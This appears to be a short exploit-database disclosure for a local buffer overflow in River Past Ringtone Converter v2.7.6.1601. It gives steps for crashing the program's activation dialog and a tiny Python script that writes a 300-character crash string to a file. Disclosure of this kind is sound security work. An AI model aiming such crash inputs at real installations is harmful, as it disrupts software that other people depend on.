# Exploit Title: River Past Ringtone Converter v2.7.6.1601 - Denial of Service (PoC)# Discovery by: Rafael Pedrero# Discovery Date: 2019-01-30# Vendor Homepage: http://www.riverpast.com/# Software Link : http://www.riverpast.com/# Tested Version: v2.7.6.1601# Tested on: Windows XP SP3# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow# Steps to Produce the Crash:# 1.- Run RingtoneConverter.exe# 2.- copy content RingtoneConverter_Crash.txt to clipboard (result from this python script)# 3.- Go to "Help" - "Activate..." and paste the result in the "Email" textbox and "Activation code" textarea.# 4.- Click in Activate button and you will see a crash.#!/usr/bin/env python
crash = "\x41"* 300
f = open ("RingtoneConverter_Crash.txt","w")
f.write(crash)
f.close()